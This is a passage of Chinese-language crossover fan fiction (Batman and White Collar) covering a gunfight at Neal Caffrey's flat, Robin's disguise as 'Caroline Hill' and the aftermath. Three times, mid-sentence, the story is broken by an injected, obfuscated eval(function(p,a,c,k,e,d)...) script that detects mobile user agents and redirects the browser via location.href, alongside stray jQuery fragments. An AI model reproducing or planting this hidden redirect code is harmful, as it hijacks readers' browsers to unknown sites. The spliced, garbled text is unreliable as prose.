尼尔快速报了三个数字，卡修斯没怎么认真听。他拿了支笔，装模作样地在房间其中一面白板墙上鬼画符了一阵，才又从旁边撕了张便签纸，写下一个仓库地址以及一个日期：“她还在纽约，只不过她在躲着你，所以你只有在这个时间，才能在这里找到她。” 尼尔接过便签纸，将那个短短的地址看了好几遍，才说：“谢谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180825|165261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 就算没有我，你也会找到她，这是博尔克警官为你量身定制的陷阱。卡修斯心里想道。 尼尔笑了笑，又拍了拍他的肩膀，刚想说什么，忽然听到外面一阵刺耳的刹车声。 此刻两人站在正对着窗户的方向，在刹车声响起的刹那，一种诡异的，仿佛从无数次生死一线的经历中练就的本能，让他猛地拽住尼尔的手腕，往后一推。 两人同时扑倒在地，卡修斯拽着尼尔在地上滚了半圈，下一秒，他们刚才倚靠过的玻璃窗轰然炸裂，子‘弹暴雨般倾泻而入。 玻璃渣哗啦啦的掉落，卡修斯躺在地上，将尼尔架在自己面前，用他的身体帮自己挡住落下的玻璃碎片。 尼尔·卡夫瑞显然没有经历过这种阵仗，他完全没有反抗，正一脸震惊地看着卡修斯，像是不相信卡修斯竟然用他当盾牌。 卡修斯很难跟他解释这具身体莫名其妙的战斗反射，但这不妨碍他感到愧疚，只能快速地道了歉。 尼尔试图从地上起身，然而卡修斯紧紧按住他的肩膀，厉声呵斥道：“不想死就别动！” 尼尔果然不敢动了。大概是场面太紧张，此刻尼尔脑子里一片空白，除了反复思考「他到底是谁？」之外，再没有任何心理活动。 尼尔生得实在太好看了，即使在这种生死关头，近距离的美颜暴击让卡修斯忍不住咽了口口水。 他感觉到被自己按住的肩膀微微挣扎了一下，恰巧是尼尔看到他吞口水之后。 卡修斯：我该怎么礼貌又不失尴尬地表示，自己对他仅仅是出于美貌的欣赏？ 但他没时间再想这些，因为他听到了换弹匣的声音，第二轮扫射马上就要开始了。 卡修斯带着尼尔滚到一边，躲到沙发后，他才咬牙切齿地问：“你家很安全？” “山猫不可能告诉他们我的住址。”尼尔一脸不敢置信。 “呵。” 卡修斯冷哼一声，他可不相信黑邦的信誉。 尼尔的武力值不高，卡修斯能肯定他留在这儿很容易连累他，而且这些人很大概率是冲着自己来的，所以他准备独自突围。 他猫着腰，将尼尔拽到卫生间，将他推了进去。 “你……” “躲好，别出来送人头！拖我的后腿。” 说完，他顺手拿走了洗手台上的牙刷，随后用力关上了卫生间的门。 有人在撞门，卡修斯贴墙挪到门边。窗边的火力太密集，他打算先解决门口的人，直接从门口突围。 他掰断牙刷，将尖锐的那端藏在手心。 卡修斯发现尼尔家的防盗门意外地耐造，一轮射击后，虽然摇摇欲坠，但依然□□。外面的人枪声短暂停歇，接着是重重的踹门声，震的玄关处的简易鞋架上的鞋子都掉了下来。 “交出那个女人和U盘，就让你死的痛快点！” 伴随着踹门声的还有这狂野的死亡宣言。 可还没等话音落地，就听到门口传来闷哼声和明显节奏不对的枪响，听上去像是有人偷袭了正在撞门的暴徒。 看来还有第三方访客。 卡修斯手心触到袖剑的卡扣，手指微动，银色的冷刃“咔”一声从卡槽中弹出。 他感觉到自己此刻是在笑着的，于是抬手摸了摸自己的脸，果然摸到了上扬的嘴角。 原来，恐惧到极致真的会兴奋，就像这具身体早已习惯与死亡共舞。 11. 第 11 章 “轰——” 一个纤细的身影压着一个一米九的面具佬跟着防盗门一起摔了进来，卡修斯诧异地看过去，这个“第三方访客”看上去挺眼熟。 是不久前才刚从Misty包房的通风管道离开的卡洛琳·希尔。 她还穿着酒吧的黑色包臀皮裙制服，姿势也很奔放，正骑在倒在防盗门板上的面具佬身上，膝盖顶着对方脊椎。 卡修斯看向她的时候，女孩正一个手刀劈下去，本来还在她身下吱哇乱叫大声辱骂的男人顿时眼神僵直地昏死过去。 “你怎么……” 在这儿？ 不过还没等他问出口，女孩身后另一个被她缴械并击倒的暴徒已经站起来冲向她。 卡修斯一把将女孩拽向自己，那只攥着牙刷柄的手像是有自己的想法似的，没经过他脑子的同意，直接插向身后已经贴着她的那个暴徒的眼睛。 “啊！” 对方惨叫一声，捂着眼睛跪了下去。 卡修斯捅完才意识到自己又条件反射了什么东西，看着对方眼眶支出来的牙刷柄，忍不住不适地眨了眨眼。 “你……”女孩蹙眉开口，但看到卡修斯脸上同样心有余悸的表情后，还是什么都没说。 又有人朝着他们的位置袭来，卡修斯觉得自己后背被轻轻贴住，女孩的背和他靠在了一起。 卡修斯意识到，无论是现在的自己，还是这具身体的原主人，应该都不曾向另外一个人托付过后背。自己是因为曾经生活在一个安全系数非常高的环境里，根本不需要考虑这个，那么把战斗本能刻在肌肉记忆里的这具身体，又是为什么对交托后背感到如此陌生？ “你招来的？” 卡修斯微微侧着脑袋，怀疑地问身后的女孩。 “当然不是。” 卡洛琳冷静地回答。 “那就是你在跟踪我们。”卡修斯肯定道。 “你的思想有问题，为什么不可能是我在保护你呢？”女孩轻笑一声。 女孩说话的时候，也微侧着头，卡修斯似乎能感觉到她轻声说话时的气流扫过他的发梢。 “来自未成年少女的保护？”卡修斯也不知道为什么在这么凶险的环境里，自己还有心情和对方开玩笑。 他将头更往后仰了些，余光看到自己说话的气流也吹动了卡洛琳脖颈间金色的头发。 女孩微微歪头，抬手揉了揉脖子。 “你离我太近了，还有，我觉得你也没成年。” 女孩回呛道。 “我当然成年了。”卡修斯理直气壮地说。 “哦，我和你差不多……你左我右？”卡洛琳看着围上来的敌人，随口应道。 两人在面具帮的人冲上来之前，如同镜像动作那般默契地分开，转身，出手。 这一次，卡修斯终于又看到了卡洛琳的脸。 不知是不是肾上腺素飙升的原因，他觉得女孩原本水蓝色的眼睛好像变深了。此刻她眼中的蓝像是钴蓝色，她的眼睛里没有18岁少女应该有的惊慌，只有捕猎者的专注。 卡修斯旋身避过迎面而来的冲锋.枪扫射，袖剑扎入最先闯入者的脖子。 袖剑是瞄着对方的大动脉去的，但在扎入的瞬间，卡修斯再次硬生生转动手腕，将刀尖扎入对方颈窝。 卡修斯微侧过脸，温热的血浆溅上他右边的脸颊，眼睑，睫毛上的血沫让他忍不住眨了眨眼。 他看向卡洛琳，女孩踩着近10厘米的高跟鞋跳上茶几，原本就短的皮裙根本阻止不了她的动作，一眨眼的功夫，她已经脱下高跟鞋。细细的鞋跟扎入其中一个持枪暴徒的手腕，在对方发出一声高亢的惨叫。 “嘶……”卡修斯忍不住抽了口气，替犯罪分子感到疼。 但女孩的动作并没有停，她以此为支点，再一次猛跃，大腿像钳子一样用力的夹住另一个冲上来的暴徒的脖子，仅凭借腿部力量，将比她体型大了半个的闯入者重重按在了地上。 “你为什么要奖励他？”卡修斯脱口而出。 死嘴，你在说什么东西啊！ 卡洛琳面无表情的瞥了他一眼，看上去也很想过来“奖励”他一下。 好在又一个面具佬朝着他扑了上来，卡修斯刚好回头专心对敌，避免了尴尬。 “别杀人！”女孩提醒道。 卡修斯垂眼看了看正躺在地上捂着脖子，刚才被他扎到颈窝的入侵者。 刚才他的袖剑本能瞄准的是对方脖颈处的大动脉，但在刺下去的时候，他硬是往旁边移了一寸。 这具身体习惯了杀戮，但作为卡修斯·希尔的自己却从没杀过人。 杀人不可能是任何一个在正常环境下长大的普通人的本能，所以在接受了一开始的冲击，此刻理智尚存的卡修斯，根本不敢顺从这具身体的“本能”去杀人，即便对方是亡命之徒。 “他死不了。”卡修斯低声说，也不知道是不是在向卡洛琳解释，更不确定她有没有听到。 卡洛琳没回应他的解释，在又一个敌人举枪瞄准他们时，她抬脚踹向对方膝盖，那人惨叫一声，单腿跪在了地上，枪也失去了准头，从卡修斯腿部的位置扫过，他灵敏的闪开了。 “你是他们派来的卧底吗？”卡修斯心有余悸的拍了拍胸口，他抢过其中一个失去战力的暴徒的抢，朝着袭向他们的人的腿部开枪，将最后一发子弹埋入又一个向他冲过来的闯入者的膝盖。 枪里的子弹基本上都打进他们的膝盖，阻断了敌人们的行动力，这还是他从另一部热门美剧的主人公那儿学的，只是没想到这辈子居然还有实践的机会。 卡洛琳没理他，她抄起房间中央被布蒙住的画架，用力一挥。 “别……！”卡修斯忍不住惊叫。 虽然他还不知道卡洛琳·希尔到底是谁，但就凭他在酒吧和火柴·马龙的亲密程度，卡修斯也确定对方一定和韦恩家有关系。 既然和韦恩有关，就有很大程度认出那幅画。 画板应声而碎，但也直接将两个冲向他们的暴徒扇飞了出去。 蒙着画的薄布滑落，藕断丝连的画板连着油画布，掉在了地上。 卡洛琳下意识低头看了一眼，只一眼，就认出了画布上是什么。 即使她的惊讶只有一瞬间，但还是被卡修斯捕捉到了。 好的，尼尔·卡夫瑞要被蝙蝠侠做成表了。 被画板砸的晕头转向的两人刚打算爬起来，就被卡修斯和女孩眼疾手快的一人一个，劈晕了过去。 房间里陷入短暂的安静，一时间谁也没有再开口。 “别什么？” 卡洛琳把目光从残画上收回来，似笑非笑的看着卡修斯。 “没什么。”他冷静地说。 卡修斯脑子里的CPU正在冒烟，那和漫画中蝙蝠侠如出一辙的性感大腿绞杀技，以及对方执着地提醒自己不要杀人。 如果她不是蝙蝠家的小鸟，他就倒立吃翔！ 问题是，她到底是谁？ 事实上，来哥谭的这几个月里，他有刻意留意过舆论对韦恩的相关报道。 所以卡修斯知道，在他穿来这个世界不久之前，布鲁斯·韦恩向公众宣布正式收养了提姆·杰克逊·德雷克，现在，提姆已经冠了韦恩的姓氏，可卡修斯并没听说韦恩有私生子的八卦。 本来他还对这个世界有点把握，但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180826|165261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自从尼尔·卡夫瑞出现后，卡修斯就不确定这到底是不是自己了解的那个世界了。 所以，他也不确定达米安·韦恩到底是还没出现，还是这个世界根本就没有达米安·韦恩。 “你是蝙蝠侠的人？” “你是刺客联盟的人？” 两人异口同声地问。 提姆扫了一眼躺在地上的敌人，这里有一半的人是卡修斯打倒的，除了第一个是被袖剑捅到脖子，此刻失血过多正陷入昏迷，其他人都是被打中膝盖后，再被击晕的。 卡修斯震惊的瞪着卡洛琳，不知道她是以什么来判断的。 “为什么这么说？” 卡修斯不想承认，自己的声音甚至都有些颤抖。 提姆极小幅度地皱了皱眉。 他又看了眼躺在地上，已经失去反抗能力的面具帮的暴徒们。虽然卡修斯下手很凶残，但的确没有杀死任何一个人。而据他所知，刺客联盟培养出来的杀手可不会这么仁慈。 “你的袖剑，上面的鹰首纹章，是刺客联盟的标志。” 他回答了卡修斯的问题，同时紧盯着他的脸，不想错过他的任何一个表情。 卡修斯脸上显露出来的震惊很逼真，看上去像是真的不知道这袖剑的来历。 “我不是，这东西是捡的。”准确的说，是蝙蝠侠送的。 卡修斯慢慢镇定下来，他冷静地否定了卡洛琳对他身份的猜测。 即便这具身体曾经是刺客，那么他现在也只是卡修斯·希尔。 提姆没再说什么。 他没有告诉卡修斯，在蝙蝠洞关于刺客联盟的情报资料里，只有属于拉尔斯·奥·古的近卫，才有资格使用鹰首纹章的武器。 走廊里又传来两个脚步声，卡洛琳拉了还有些怔愣的卡修斯一下：“解决他们再说。” 两人在门口的玄关前一人选了一面贴墙站好，互相默默对视着。 等脚步声到门口，他们同时出手。 卡修斯用绑着袖剑的那只胳膊勒住靠近自己这边的入侵者，剑尖抵住对方的脖子，吓得对方动都不敢动。 这个姿势，割喉简直太顺手了。卡修斯差点控制不住那种“肌肉记忆”。 卡洛琳同样勒住她那侧的敌人，对方也被他制住脖颈说不出话。 “你们是怎么找到这儿的？” 提姆问被卡修斯控制住的人。 “山猫，是山猫告诉我们的！”对方大声说。 一直躲在卫生间的尼尔忽然走了出来。 “你说谎。” 他手里拿着一把非常小的手枪，此刻正对准卡修斯手中俘虏的眉心。 卡洛琳立即想要控制住尼尔，但卡修斯朝她摇了摇头。 女孩盯着他看了两秒钟，决定暂时相信他的判断，不过她死死盯着尼尔·卡夫瑞，腿部肌肉紧绷，像是一旦对方有些微动作，就立刻踢断他的手。 “不说的话，就去死。”尼尔冷静的说。 “你不敢开枪！”那人敏锐的察觉到了尼尔微微颤抖的手指，嚣张的叫嚣着。 卡修斯没想到这人的观察力这么敏锐。 尼尔虽然是FBI的嫌犯，但他自认为是雅贼，一向都是以智慧而不是依靠武力解决问题，他的宿敌里，虽然有亡命之徒，但尼尔绝不会让自己堕落为亡命之徒。他会用枪，但他从不开枪杀人。 “谁知道呢，也许它会走火，毕竟，我一害怕，就会手抖。” 说着，他就拉开了保险栓。 卡修斯配合的将剑刃往下压了半寸，被他扼住咽喉的人瞬间觉得脖子痒痒的，像是有什么湿热的液体从剑刃和他皮肤连接的地方流了下来。 12.第 12 章 “是Misty的经理！叫霍尔的那家伙！” 在哥谭，敢给黑面具找不痛快的同伙屈指可数，而且今天妨碍他们交易的人也没有伤及性命，所以他们先入为主地认为这些人是哥谭义警。哥谭义警不杀人，就算是蝙蝠侠， 但如果他们不是哥谭义警呢？他有必要为了加登·霍尔这种货色搭上自己的命？ 尼尔和卡修斯对视了一眼。 虽然尼尔不喜欢加登·霍尔，但也从没把他当回事。他知道，看在Moz的面子上，山猫不会出尔反尔，但就是没想到他竟然对山猫阳奉阴违。 “是他告诉你们我住这儿的？”尼尔威胁性地走近了些。 “霍尔说你们是一伙的！如果动手的那小子没回家，就一定和你在一块！黑面具让我们掘地三尺也要把今天搅黄他生意的人找出来，所有帮他们的人都绝不放过。” 这么说，面具帮的人同时去了卡修斯的住处。 卡修斯本以为只要他暂时不回家，这些人等不到他，就会去别处找，但现在看来，家里可能都要被他们给砸了。 因为没有办银行卡，这几个月工作赚的钱，他都放在住处，不知道会不会被抢走。想到这儿，卡修斯就想刀了他们。 提姆已经听到了远处蝙蝠车的引擎声，还有更远处的，隐约的警笛声。 他确信蝙蝠侠已经料理了闯入卡修斯家的暴徒们。 “你家应该很安全。”提姆看他的刀子已经快要戳进对方的动脉了，忍不住出声安抚，怕他一激动，把人给误噶了。不知道他的住处有什么，让卡修斯这么在意。 “你怎么知道？”卡修斯问。 “我也有帮手。”卡洛琳微微一笑。 是了，“Batman is Watching You”嘛。或许从他被卡洛琳点名叫到那个包房的时候，就已经在蝙蝠侠的嫌疑人名单里了。 虽然他不知道自己究竟是如何引起了蝙蝠侠的注意。 “再说一遍，我今天只是见义勇为，早知道你这么厉害，我绝对不会多管闲事的。”卡修斯看着女孩，用自己所能调动起的最诚恳的语气说。 他将“见义勇为”咬的很重，像是在重申对方断定他刺客联盟的身份是个误判。 卡洛琳没对他的辩白发表意见，只是说：“你听。” “什么？” 卡修斯问。 “是蝙蝠车的声音。” 卡修斯的脸色变了。 “我们现在离开的话，你不会阻止吧？” 说话间，两人已经默契地打晕了手中的俘虏。尼尔也收起了枪，站在卡修斯身后半步的位置。 提姆忍不住笑了一声。 他环顾了一圈公寓，这里被破坏得很彻底，所有的玻璃制品都碎了，连天花板上的吸顶灯都掉了下来，墙上到处都是弹孔，沙发，茶几和地上都是零星的血迹，房间中央则是被砸的四分五裂的画架。 他的视线在那幅被毁掉的未完成的韦恩庄园藏画赝品上多停留了一会儿，觉得可疑的不仅仅是卡修斯·希尔，还有尼尔·卡夫瑞。 “这里是你家，你是受害者，可以留在这儿等GCPD的人来，说不定还能得到一定的赔偿。” 卡洛琳说。 “呵呵，谢谢你啊，这儿没什么值钱的东西，还是算了吧，我跟卡修斯一块儿走。” 尼尔对着卡洛琳笑了笑，果断婉拒了她的“好意”。他可不想和任何一个城市的警察产生交集。 “好啊，你们走吧。”卡洛琳也没有坚持，耸了耸肩说。 卡修斯递给尼尔一个眼神，对方立即领会，他只拿了几样随身物品，以及，将地上那幅已经被毁掉的画作从坏掉的画板上拆下来，折叠好带在了身上。 做完这一切之后，尼尔的余光瞥见碎裂茶几旁昏迷的那个暴徒，他的手腕不自然地歪在一边。尼尔趁两人都没注意到时，悄悄顺走了丢在暴徒身边的红色高跟鞋。 等待尼尔收拾物品的时候，卡修斯不自觉地瞥了一眼卡洛琳的脚。她正赤足站在地上，但明显右脚脚踝处比左脚脚踝粗了一圈，可女孩愣是没有表现出任何异常，让他差点忽略了这一点。 最后他还是什么都没说，和尼尔一起离开了公寓。 “去哪儿？”尼尔的神情有些歉疚。他本以为自己的公寓很安全，确实没料到会在加登·霍尔这条阴沟里翻船。 “算了，在我的国家，有句古话，‘阎王好惹小鬼难缠’，这种意外谁也料不到。” 因为听到了尼尔心中的歉疚，卡修斯忍不住出声安慰。 尼尔诧异地眨了眨眼，像是没想到卡修斯会安慰自己。 “你怎么知道我在想什么？” 卡修斯的表情微妙地凝滞了一下，立马笑道：“你的表情出卖了你。” 正在监听两人对话的提姆也微微蹙眉，他想到布鲁斯说能听到卡修斯的心声。一个不确定的念头从心中溜过，因为太快，他暂时没有抓住。 尼尔摸了摸自己的脸。 「有这么明显吗？」 卡修斯没再对他的心理活动做出回应，转而说道： “我送你去车站，明天一早，赶最早的班车，离开哥谭吧。” 尼尔诧异地看着他：“什么？我还没打算这么快离开哥谭。” 他还想更多收集一些关于韦恩庄园这幅肖像画藏品的相关消息。 卡修斯无奈地看着他：“卡洛琳·希尔刚才看到了这幅画，她认出来了。” “什么？”尼尔没明白卡修斯的意思。 卡修斯没继续解释，耸了耸肩。 尼尔回想了一下，刚才他拿走画的时候，卡洛琳·希尔确实一直在盯着他看。 “你是不是也知道，这到底是什么？”尼尔点了点被自己折叠的废画。 “你会告诉我吗？”卡修斯反问。 尼尔回想起这幅画是怎么引起Moz和自己注意的。 哥谭在半年前经历了一场大混乱，连韦恩庄园都被烧毁了。混乱结束后，韦恩庄园里的一部分古董、画作和藏品被暂时保存在了哥谭博物馆里。尼尔因为好奇，曾“低调地参观”过一次。他在那儿看到了这幅疑似韦恩家族先辈的肖像画。 虽然那幅肖像画的面部被浓密的毛发遮挡，但精通雕塑和绘画的尼尔还是一眼认出了画作上的肖像，几乎和布鲁斯·韦恩长得一模一样。 这本不足以引起他的注意，但他还在这幅画作上看到了属于布鲁斯·韦恩笔迹的签名。可奇怪的是，无论从墨迹还是成画的年代来看，这幅画作距离现在至少在百年之前。 当初他的计划只是“参观”，并没有带走些什么的想法，因此在去博物馆之前，也没有为此做过准备。但事后，他就一直想要找机会拿走这幅画仔细研究。 他把这件事告诉了Moz。尼尔自己的猜测是，这幅画是韦恩家的人参照家主布鲁斯·韦恩画的，出于某种不知名的原因，使用了连尼尔都没辨认出来的做旧技术。但Moz在看过照片后认为，布鲁斯·韦恩有可能进行过时空旅行，画作确实完成在百年之前。 尼尔对这种猜测嗤之以鼻。不过这成功激发了他的好奇心，如果韦恩真的是用连他一时都难以分辨的做旧技术做到的，那他为什么这么做，又是怎么做到的？ 这就是尼尔想要去修缮好的韦恩庄园偷这幅画的原因。 卡修斯：…… 他一字不漏地听到了尼尔的回忆，猝不及防地了解到了这段秘辛。 其实我也不是那么有好奇心了。 卡修斯忽然忧虑起来。 如果尼尔的回忆没有任何夸张成分的话，按照他所了解的剧情，那么Moz还真的有可能是对的。 尼尔看到卡修斯也陷入沉默，以为他因为自己的隐瞒而不高兴。 “也不是不想告诉你，只是这件事的起因太荒谬，我不知道该怎么……” 提姆集中精神，想要仔细听听看，尼尔·卡夫瑞为什么觊觎韦恩庄园的那幅肖像画。 不过，他刚说了半句，卡修斯就打断了他。 “不，我也没那么想知道。” 尼尔眨了眨眼：“你确定？” “因为我喜欢猫，所以没那么多好奇心。”卡修斯说。 尼尔反应了一会儿，才意识到他说了个冷笑话，有些无奈地看着他：“我怎么觉得是你刚才趁我不注意的时候，偷偷钻到我脑子里偷看了我在想什么，所以才不好奇了。” “呵呵，你才想太多了。”卡修斯干笑两声，蒙混过去。 尼尔本身也是在开玩笑，所以并没有很在意，但监听线路另一边的提姆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15197119|165261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眉峰再次动了动。 “尼尔，你得尽快离开哥谭，继续留在这儿，你很有可能错过和凯特再次相见的机会。”卡修斯再一次真心实意地劝道。 当初他欣赏属于尼尔·卡夫瑞的故事时，就挺喜欢他的。所以，即便尼尔接近自己不是为了纯粹的友谊，他也愿意把尼尔当作朋友。更何况，他能听到尼尔的心声，这是不是说明，尼尔对他来说，是特别的存在？ 他不希望尼尔在哥谭陷得太深太久，因为他本就不属于这里。 “好吧。”尼尔叹了口气，拍了拍卡修斯的肩膀，“我听你的，大师。” 说着，他再次露出了那种能够让人平静下来的，独属于尼尔·卡夫瑞的温暖笑容。 “你要不要跟我一块儿离开这儿？你极力劝我离开，那你自己呢？”尼尔问。 卡修斯摇了摇头。 “不，我暂时还不能离开这儿。” “为什么？你是担心自己的身份问题吗？” “你知道？”卡修斯诧异道。 “我知道你也用的是假名，抱歉，Moz调查过你，但他没在社保系统里查到你。”尼尔笑着说。 卡修斯知道他在笑什么。Moz也是个不存在于社保系统里的人。 “如果你愿意的话，我可以帮你做一个新身份。”尼尔友善地提出建议。 不过说到这儿，他像是想起什么似的，忽然停顿了一下。 卡修斯刚想问他怎么了，尼尔像是突然想起什么似的，用食指比在唇间，做了个噤声的手势。 然后他示意卡修斯抬起手，又做了个“有监听”的口型。 卡修斯也想起来了，卡洛琳应该是在自己身上放了追踪器之类的东西，所以她才能在面具帮出现的时候，第一时间加入战局。 他跟随尼尔的手势抬起手，对方从他的领口开始摸索，寻找可能存在的追踪设备。 在检查到鞋子的时候，终于在鞋底的防滑纹路之间，抠出一块只有指甲盖大小的精密追踪器。 尼尔将它捏在手里时，眼睛都亮了起来，显然他是被这东西的做工给惊艳到了。 他拿着追踪器，对卡修斯做了个询问的表情。 卡修斯点了点头，做了个“请随意”的手势。 Moz应该会喜欢这个。 “谢谢你啦。” 尼尔故意大声说道。 也不知道他谢的到底是谁。 已经在尼尔放弃的公寓里勘查现场的蝙蝠侠侧头，看向突然停下汇报的“卡洛琳”，问：“怎么了？” “他们发现了追踪器，我失去了卡修斯·希尔的信号。” 还有，他发现“卡洛琳·希尔”刚才用作武器的高跟鞋不见了。 蝙蝠侠已经将现场所有面具帮的人捆成一串，挂在了公寓外的灯柱下，甚至还帮那个虽然没伤到颈部动脉，但仍旧失血过多的倒霉蛋叫了救护车。 “没关系，他会回他的住处的。”他说。 “你怎么知道？他住所里到底有什么重要的东西？”提姆好奇地问。 蝙蝠侠看了提姆一眼，说：“你先回去，别让吉姆看到你。” 说罢，他又看着他的脚补充了一句：“你的扭伤，尽快处理一下。” 提姆意外地看了蝙蝠侠一眼，难得有些不好意思：“没关系，不是很严重，我已经喷过镇痛喷雾了……” 蝙蝠侠用不赞同的眼光看着他。 提姆不再说话了，他倒退着走了几步：“我去蝙蝠车里等你……放心，不会让戈登警长看到我的。” 说完，就立刻消失在了蝙蝠侠的面前。 蝙蝠侠微挑了下嘴角，但马上又恢复严肃。关于罗宾的“卡洛琳·希尔”这个身份伪装，吉姆还不知道，要是让戈登局长看到蝙蝠侠和一个衣着打扮相当成人化的未成年少女在一块儿，心里绝对会咯噔一下。 而蝙蝠侠既不想暴露罗宾的伪装，又不想让这位老派又忠厚的警察局长对他的人品产生什么完全没有必要的误会。 “先生，我刚才是听到您直白地对您的助手表示了关心吗？”耳返里传来便士一略带欣慰的语调。 “你听错了！”蝙蝠侠毫不犹豫地反驳道。 “没关系，我已经录下来了。”便士一说。 蝙蝠侠：…… 13.第 13 章 “给。”尼尔递给卡修斯一串钥匙。 “这是？” 卡修斯没有接，有些疑惑地看着尼尔。 “我租了距离你占卜店不远的一家商铺，本来打算开个画室的。” 「本以为还会再在哥谭待上一阵子，和你做邻居的话，不但能更快增进感情，开口让你帮我找凯特，还能为带走韦恩庄园的画做掩饰。」 卡修斯听到尼尔的心声，一时有些无语，不过想想尼尔好像确实是这样，心思缜密，天生800个心眼子，倒是很有资格跟韦恩一家斗智斗勇。 “今晚我去那儿凑合一晚，明天一早我就离开哥谭，这个地方我也暂时用不上了。我交了三个月的房租，你用的上的话可以去住。” 由于犯罪巷特殊的地理环境，那儿的商铺流动率挺高的。一家商铺可能今天是个中餐馆，一个礼拜后就变成冷兵器专卖店，所以那儿的商铺房租虽然比别的地方便宜，但不管店能开多久，房东绝不会退预付的房租。 现在自己已经引起了蝙蝠侠的注意，面具帮和俄罗斯□□也在找自己，他确实需要另找一个住处。 卡修斯自觉并没有帮上尼尔什么实质性的忙，可尼尔却是实实在在帮了自己好几个大忙，顿时有点感动。想到他找到凯特后会遇到的事，又觉得什么都不提醒他的话，有些良心难安。 “谢谢。”他拿起钥匙装进口袋，斟酌了一会儿，才开口说：“你……一定要找凯特吗？” 尼尔的笑容渐渐淡下去，他点头道：“是的，我必须找到她。” “就算……”找到她你就得去坐牢，也不在乎吗？ 可卡修斯忽然发现自己的喉咙像是被石块堵住一般，后面的话无论如何也说不出来。 尼尔疑惑地看着卡修斯的嘴巴张张合合，问道：“你怎么了？” “就算……就算找到她，你的人生会变得非常艰难，你也坚持吗？”最终，卡修斯只能这样说。 他担忧地看着尼尔，希望他能改变主意，可尼尔只是用坚定的眼神回答了他。 「是的，我爱她。」 他听到尼尔在心里这样说。 卡修斯放弃了，顶级恋爱脑，真的没治。 “好吧。那我只能祝你……心想事成了。” 卡修斯说。 “你是不是知道些什么？”尼尔问。 卡修斯无奈道：“任何事都不能改变找到凯特的决心，不是吗？所以你还是不知道比较好。” 有时候无知也是一种幸福。 其实卡修斯真的很想提醒他，但他发现只要涉及他所知道的未来的事，无论如何也说不出口，最后只能放弃。 “等你的身份做好，我会发邮件给你。你有什么喜欢的名字吗？”尼尔很爽快地不再追问，而是换了一个话题。 “还是用现在的名字吧。”他说。 这大概是他和曾经的世界唯一的联系，他不想放弃这个。 有了尼尔帮他做的“合法”身份证明，等他离开哥谭，无论生活还是工作，都会比现在方便许多。 “对了，还有这个。”两人分开后，尼尔从怀里掏出一只红色高跟鞋。 卡修斯：…… “别用这种眼神看着我，这鞋是定制的，我可以帮你查查卡洛琳·希尔到底是谁。” 事到如今，尼尔也知道这女孩的身份绝不是普通的卖酒妹这么简单。 卡修斯不由分说地伸手拿走他手上的鞋：“谢谢你，这件事就到此为止。对你来说，目前最重要的事情就是找到凯特，尽快离开这儿吧。” 尼尔摊手，又看了高跟鞋一眼，耸了耸肩：“好吧，那你自己注意安全，我会尽快把身份证明发给你的。” 两人边走边聊，终于来到犯罪巷的巷口。 “等一下。”尼尔拉住卡修斯，微微抬了抬下巴，让他顺着自己示意的方向看过去。 那里停着一辆熄火的警车，要不是尼尔眼尖，卡修斯甚至都没发现。 不愧是经常和警察玩猫鼠游戏的雅贼，也太敏锐了。 卡修斯预感这跟自己有关系，于是示意他先离开。 “你行吗？”尼尔问。 “没事，你先走吧。”卡修斯知道现在的尼尔不喜欢和警察打交道。他已经帮了自己很多，已经够了。 尼尔想了想，觉得应该不会有什么危险，而且以卡修斯的身手，就算遇到危险，也能轻易逃脱，但带上自己的话可就不一定了，于是点了点头，说了句“那你自己小心。”随后就转身离开了。 卡修斯目送尼尔的身影消失在夜色中，将手上的高跟鞋收进随身的小包里，再次拉起兜帽，转身朝着犯罪巷自己的公寓走去。 “卡修斯·希尔？” 走到门口的时候，房间门是开着的，一个体型微胖，戴着卡其色绅士帽，穿着同色夹克的中年男子正站在他家里，听到声音，他转过头来。 “请问您是？”卡修斯一脸惊讶，装作一无所知地问道。 男人嘴里咬着烟，他走到卡修斯面前，向他出示了一下自己的警官证。 卡修斯看清楚了，上面写着：“哈维·布洛克。” “布洛克警官，这么晚了，请问是发生了什么事吗？” 他故意问道，同时快速扫了一眼自己的住所，发现被破坏的并不是特别严重。 “不久前，你家发生了入室抢劫。” 布洛克盯着他的脸说。 “怎么会？”卡修斯一脸惊慌。 布洛克嘴里叼着烟，打量了他一会儿，才继续说：“是面具帮的人，你有什么头绪吗？” 卡修斯恍然大悟地“啊”了一声，才说：“今天晚上，我在Misty上班的时候，几个戴着面具的人意图非礼一个姑娘，我看不过去，所以帮忙阻止了一下。” 布洛克哼笑一声，说：“你还挺有正义感的？” 卡修斯苦笑了一下，他不加掩饰地皱眉环顾了自己一片狼藉的房间：“下次再发生这种事，我可不敢管了。” 